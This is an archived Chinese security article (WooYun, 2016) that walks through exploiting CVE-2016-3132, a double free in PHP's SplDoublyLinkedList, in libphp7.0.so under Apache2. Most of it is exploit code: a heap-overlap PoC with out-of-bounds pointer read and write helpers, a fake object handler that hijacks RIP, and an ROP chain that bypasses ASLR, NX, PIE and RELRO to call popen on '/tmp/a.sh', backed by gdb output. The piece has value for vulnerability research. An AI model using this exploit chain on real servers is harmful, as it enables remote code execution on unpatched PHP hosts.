# How to Exploit libphp7.0.so in Apache2

Author: 乌云历史资料库 (@wooyun_archive)
Published: 2016-05-19T06:28:00Z
Canonical: https://wepostx.com/topics/262

> 乌云历史资料归档
>
> **原始作者：** 小叮当
> **原始编号：** superkieran-wooyundrops:1208
> **原始发布时间：** 2016-05-19 14:28
> **声明：内容仅用于技术研究和个人使用，版权归 wooyun.org。**

---

# 0x00 简介

之前有外国牛人发部blog [Double Free in Standard PHP Library Double Link List [CVE-2016-3132]](http://www.libnex.org/blog/doublefreeinstandardphplibrarydoublelinklist)
其文章详述了漏洞成因

```text
#!php <?php $var_1=new SplStack(); $var_1->offsetSet(100,new DateTime('2000-01-01')); //DateTime will be double-freed
```
SplDoublyLinkedList::offsetSet ( mixed $index , mixed $newval )失败的话，对象就会被free两次。略过细节，这种漏洞想继续利用，必须要翻看php源码对于heap的管理套路了。

![原文图片](/media/2016/06/5ea2b8fe602c1cd6032b144063b4548f)

所需要知道的是，问题对象SplFixedArray的尺寸让它存在于php自己维护的一个freelist里面。如果一块内存的引用计数消耗光，php简单地把freelist的next指针指向这块内存，这样就结束了。如果发生了double free，php里面的freelist会变成这样：

![原文图片](/media/2016/06/a576269575f6a6b92e876f73102ff639)

就是说当下两次内存申请的时候，两个对象就会重叠

![原文图片](/media/2016/06/ab8e1d34c888c22cbb2b6e30e77cce91)

可以上套路了，重叠字符串类型，修改长度，越界读写。

```text
#!cpp typedef struct _spl_fixedarray_object { /* {{{ */ struct _zend_string { spl_fixedarray *array; zend_refcounted_h gc; zend_function *fptr_offset_get; zend_ulong h; /* hash value */ zend_function *fptr_offset_set; size_t len; zend_function *fptr_offset_has; char val[1]; zend_function *fptr_offset_del; }; zend_function *fptr_count; int current; int flags; zend_class_entry *ce_get_iterator; zend_object std; } spl_fixedarray_object; /* }}} */
```
当然，精心的内存布局还是需要的，比如连续申请大量内存什么的，保证要操作的区域干净、连续

![原文图片](/media/2016/06/97f0bc7f67ca77dbb9449a7614267544)

最后理想的情况就是这样啦，被改掉长度的字符串后面是整齐排列的SplFixedArray
能做的事情有：

- 越界读后面堆块指针，获取其真实地址，和与数组游标的对应关系

- 越界写后面对象的函数指针，指向前面获取的地址，即数组的地址
向数组填入内容，这样劫持了$rip
文章写到这里就结束了，poc给到0xdeadbeef

```text
#!php function exception_handler($exception) { global $z; $s=str_repeat('C',0x48); $t=new SplFixedArray2(5); $t[0]='Z'; unset($z[22]); unset($z[21]); $heap_addr=read_ptr($s,0x58); print "Leak Heap memory location: 0x" . dechex($heap_addr) . "\n"; $heap_addr_of_fake_handler=$heap_addr-0x70-0x70+0x18+0x300; print "Heap address of fake handler 0x" . dechex($heap_addr_of_fake_handler) . "\n"; //Set Handlers write_ptr($s,$heap_addr_of_fake_handler,0x40); //Set fake handler write_ptr($s,0x40,0x300); //handler.offset write_ptr($s,0x4141414141414141,0x308); //handler.free_obj write_ptr($s,0xdeadbeef,0x310); //handler.dtor.obj str_repeat('z',5); unset($t); //BOOM! }
```

# 0x01 实际测试

演示只是演示，没实际意义，在真实的生产环境中，这个洞有没有可能成功利用呢
在此，[email protected]，真的非常好用！

- Apache/2.4.18

- php 7.0.4
在apache里面php是和libc一样被当做.so来加载的，所以全套保护都上齐全了

- CANARY : ENABLED

- FORTIFY : ENABLED

- NX : ENABLED

- PIE : ENABLED

- RELRO : FULL
不要慌，我们还有更深的套路

![原文图片](/media/2016/06/8b97301eda084e5fa9bcc4e3161a9fa2)

刚才那个长度超长的数组对象，除了可以越界读堆块的地址，还可以越界读对象的函数指针列表地址
这个地址在同一个bin文件里的地址是相对固定的，地址随机化就这么过掉了。

```text
#!php $push_rax=0x000000000033a9f3+$aslr_offset;// push rax; stc; jmp qword ptr [rax + 0x36]; $pop_rsp=0x00000000000d3923+$aslr_offset;//pop rsp; pop r13; ret; $sub_rsp=0x0000000000106abe+$aslr_offset;// sub rsp, -0x80; pop rbx; ret; $pop_rsi=0x00000000000094e8+$aslr_offset;// pop rsi; ret; $pop_rdi=0x00000000000d3b2f+$aslr_offset;// pop rdi; ret; $pop_rbp=0x00000000000d3925+$aslr_offset;// pop rbp; ret; $p_popen=0x00000000000d2580+$aslr_offset;//popen //Set Handlers write_ptr($s,$heap_addr_of_fake_handler,0x40); //Set fake handler write_ptr($s,$aslr_offset,0x300); //heap_addr_of_fake_handler and [rax] is here! write_ptr($s,0x4141414141414141,0x300+0x48); write_ptr($s,0x0000000000000072,0x300+0x50);//"r" write_ptr($s,0x732e612f706d742f,0x300+0x58);//"/tmp/a.sh" write_ptr($s,0x0000000000000068,0x300+0x60); write_ptr($s,$push_rax,0x300+0x10); write_ptr($s,$pop_rsp,0x300+0x36); write_ptr($s,$sub_rsp,0x300+0x8); //now,rsp=rax+0x98 write_ptr($s,$pop_rsp,0x300+0x98); write_ptr($s,$heap_addr_of_fake_handler-0x100,0x300+0xa0); //now,rsp=rax-0xf0 write_ptr($s,$pop_rsi,0x300-0xf8); write_ptr($s,$heap_addr_of_fake_handler+0x50,0x300-0xf0); write_ptr($s,$pop_rdi,0x300-0xe8); write_ptr($s,$heap_addr_of_fake_handler+0x58,0x300-0xe0); write_ptr($s,$pop_rbp,0x300-0xd8); write_ptr($s,$heap_addr_of_fake_handler-0xb8,0x300-0xd0); //now rsp=rax-0xc0,rbp=rax-0xb8 write_ptr($s,$p_popen,0x300-0xc8);
```
很乱的rop里该有的都有了，包括把栈帧指向刚才操作好的内存堆，方便行事。

```text
#!bash [----------------------------------registers-----------------------------------] RAX: 0x7fc6edc6ebd8 --> 0x7fc6f218a000 --> 0x10102464c457f RBX: 0x0 RCX: 0x16 RDX: 0xc4f352ef5bf0be4a RSI: 0x7fc6edc6ec28 --> 0x72 ('r') RDI: 0x7fc6edc6ec30 ("/tmp/a.sh") RBP: 0x7fc6edc6eb20 --> 0x0 RSP: 0x7fc6edc6eb18 --> 0x0 RIP: 0x7fc6f52fa540 (<_IO_new_popen>: push r12) R8 : 0x20 (' ') R9 : 0x0 R10: 0x2 R11: 0x38 ('8') R12: 0x7fc6f2798c1c --> 0x0 R13: 0x7fc6f27ae8c0 --> 0x40 ('@') R14: 0x7fc6edc12030 --> 0x7fc6e7458f70 --> 0x7fc6f2451a00 (push r12) R15: 0x7fc6e7458f70 --> 0x7fc6f2451a00 (push r12) EFLAGS: 0x203 (CARRY parity adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x7fc6f52fa530 <_IO_new_proc_open+848>: jmp 0x7fc6f52fa4da <_IO_new_proc_open+762> 0x7fc6f52fa532: nop DWORD PTR [rax+0x0] 0x7fc6f52fa536: nop WORD PTR cs:[rax+rax*1+0x0] => 0x7fc6f52fa540 <_IO_new_popen>: push r12 0x7fc6f52fa542 <_IO_new_popen+2>: push rbp 0x7fc6f52fa543 <_IO_new_popen+3>: mov rbp,rdi 0x7fc6f52fa546 <_IO_new_popen+6>: push rbx 0x7fc6f52fa547 <_IO_new_popen+7>: mov edi,0x100 [------------------------------------stack-------------------------------------] 0000| 0x7fc6edc6eb18 --> 0x0 0008| 0x7fc6edc6eb20 --> 0x0 0016| 0x7fc6edc6eb28 --> 0x0 0024| 0x7fc6edc6eb30 --> 0xc01a000800000001 0032| 0x7fc6edc6eb38 --> 0x1b 0040| 0x7fc6edc6eb40 --> 0x56478a526ed0 --> 0x1 0048| 0x7fc6edc6eb48 --> 0x7fc6f27ae8c0 --> 0x40 ('@') 0056| 0x7fc6edc6eb50 --> 0x0 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Thread 2.1 "apache2" hit Breakpoint 1, _IO_new_popen (command=0x7fc6edc6ec30 "/tmp/a.sh", mode=0x7fc6edc6ec28 "r") at iopopen.c:273
```
别忘了$rsp和$rbp都需要设置好，不然popen不会执行成功的。
最后，有两点要说明一下：
原文poc提供的read_ptr有问题，读地址的时候会中间丢掉0
感谢phithon与毕月乌大牛提供正确版本的函数

```text
#!php function read_ptr(&$mystring,$index=0,$little_endian=1){ $s = ""; for($i = 1; $i <= 8; $i++) { $s .= str_pad(dechex(ord($mystring[$index+(8-$i)])), 2, '0', STR_PAD_LEFT); } return hexdec($s); }
```
另外就是，采用popen这个函数来完成最后的shellcode动作，是因为这个函数在libphp.so的plt里面提供了地址。如果要用system的话，还要到libc里面去找，多算一个模块的地址，就多了一份麻烦和不稳定。

![原文图片](/media/2016/06/e9ff168ffd9061cf1b4d55391668d7e5)

尽管本文成功绕过所有保护成功执行shellcode，但是实际意义依然有限，因为phplib.so的版本太多啦，很多情况下都是自家编译出来的，不同的so文件function table的相对位置会不一样，这样计算的基质会出错，当然构造的rop也全都错了。
php版本多，glibc版本少啊，用glibc做rop啊！用glibc找system函数啊！

![原文图片](/media/2016/06/a6f061ce43f06e4643926ac03ef1fbfa)

除非上面那个被改了长度的数组可以越界读到一个glibc里面的地址，否则怎样都还是需要依靠libphp.so的。
以上です。

## Replies
